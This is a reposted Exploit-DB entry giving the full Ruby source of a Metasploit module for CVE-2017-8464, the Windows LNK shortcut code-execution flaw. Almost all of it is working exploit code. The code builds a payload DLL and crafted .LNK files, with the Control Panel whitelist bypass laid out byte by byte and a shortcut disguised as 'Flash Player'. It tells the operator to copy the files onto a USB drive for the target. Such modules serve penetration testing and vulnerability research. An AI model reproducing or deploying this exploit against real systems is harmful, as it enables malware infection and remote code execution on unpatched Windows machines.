Microsoft Windows – ‘.LNK’ Shortcut File Code Execution (Metasploit)

  • 作者: Yorick Koster
    日期: 2017-07-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42382/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::EXE
    
    attr_accessor :exploit_dll_name
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'LNK Remote Code Execution Vulnerability',
    'Description' => %q{
    This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
    that contain a dynamic icon, loaded from a malicious DLL.
    
    This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
    similar except in an additional SpecialFolderDataBlock is included. The folder ID set
    in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass
    the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
    DLL file.
    },
    'Author'=>
    [
    'Uncredited', # vulnerability discovery
    'Yorick Koster' # msf module
    ],
    'License' => MSF_LICENSE,
    'References'=>
    [
    ['CVE', '2017-8464'],
    ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],
    ['URL', 'http://paper.seebug.org/357/'], # writeup
    ['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'] # writeup
    ],
    'DefaultOptions'=>
    {
    'EXITFUNC'=> 'process',
    },
    'Arch'=> [ARCH_X86, ARCH_X64],
    'Payload' =>
    {
    'Space' => 2048,
    },
    'Platform'=> 'win',
    'Targets' =>
    [
    [ 'Windows x64', { 'Arch' => ARCH_X64 } ],
    [ 'Windows x86', { 'Arch' => ARCH_X86 } ]
    ],
    'DefaultTarget'=> 0, # Default target is 64-bit
    'DisclosureDate'=> 'Jun 13 2017'))
    
    register_advanced_options(
    [
    OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true])
    ])
    end
    
    def exploit
    dll = generate_payload_dll
    dll_name = "#{rand_text_alpha(16)}.dll"
    dll_path = store_file(dll, dll_name)
    print_status("#{dll_path} created copy it to the root folder of the target USB drive")
    
    # HACK the vulnerability doesn't appear to work with UNC paths
    # Create LNK files to different drives instead
    'DEFGHIJKLMNOPQRSTUVWXYZ'.split("").each do |i|
    lnk = generate_link("#{i}:\\#{dll_name}")
    lnk_path = store_file(lnk, "#{rand_text_alpha(16)}_#{i}.lnk")
    print_status("#{lnk_path} create, copy to the USB drive if drive letter is #{i}")
    end
    end
    
    def generate_link(path)
    path << "\x00"
    display_name = "Flash Player\x00" # LNK Display Name
    comment = "\x00"
    
    # Control Panel Applet ItemID with our DLL
    cpl_applet = [
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00
    ].pack('C*')
    cpl_applet << [path.length].pack('v')
    cpl_applet << [display_name.length].pack('v')
    cpl_applet << path.unpack('C*').pack('v*')
    cpl_applet << display_name.unpack('C*').pack('v*')
    cpl_applet << comment.unpack('C*').pack('v*')
    
    # LinkHeader
    ret = [
    0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
    0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
    0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
    0x00, 0x00, 0x00, 0x00, # FileAttributes
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
    0x00, 0x00, 0x00, 0x00, # FileSize
    0x00, 0x00, 0x00, 0x00, # IconIndex
    0x00, 0x00, 0x00, 0x00, # ShowCommand
    0x00, 0x00, # HotKey
    0x00, 0x00, # Reserved1
    0x00, 0x00, 0x00, 0x00, # Reserved2
    0x00, 0x00, 0x00, 0x00# Reserved3
    ].pack('C*')
    
    # IDList
    idlist_data = ''
    idlist_data << [0x12 + 2].pack('v') # ItemIDSize
    idlist_data << [
    # This PC
    0x1f, 0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
    0x30, 0x9d
    ].pack('C*')
    idlist_data << [0x12 + 2].pack('v') # ItemIDSize
    idlist_data << [
    # All Control Panel Items
    0x2e, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
    0x30, 0x9d
    ].pack('C*')
    idlist_data << [cpl_applet.length + 2].pack('v')
    idlist_data << cpl_applet
    idlist_data << [0x00].pack('v') # TerminalID
    
    # LinkTargetIDList
    ret << [idlist_data.length].pack('v') # IDListSize
    ret << idlist_data
    
    # ExtraData
    # SpecialFolderDataBlock
    ret << [
    0x10, 0x00, 0x00, 0x00, # BlockSize
    0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
    0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
    0x28, 0x00, 0x00, 0x00# Offset in LinkTargetIDList
    ].pack('C*')
    # TerminalBlock
    ret << [0x00, 0x00, 0x00, 0x00].pack('V')
    ret
    end
    
    # Store the file in the MSF local directory (eg, /root/.msf4/local/)
    def store_file(data, filename)
    ltype = "exploit.fileformat.#{self.shortname}"
    
    if ! ::File.directory?(Msf::Config.local_directory)
    FileUtils.mkdir_p(Msf::Config.local_directory)
    end
    
    if filename and not filename.empty?
    if filename =~ /(.*)\.(.*)/
    ext = $2
    fname = $1
    else
    fname = filename
    end
    else
    fname = "local_#{Time.now.utc.to_i}"
    end
    
    fname = ::File.split(fname).last
    
    fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
    fname << ".#{ext}"
    
    path = File.join("#{Msf::Config.local_directory}/", fname)
    full_path = ::File.expand_path(path)
    File.open(full_path, "wb") { |fd| fd.write(data) }
    
    full_path.dup
    end
    end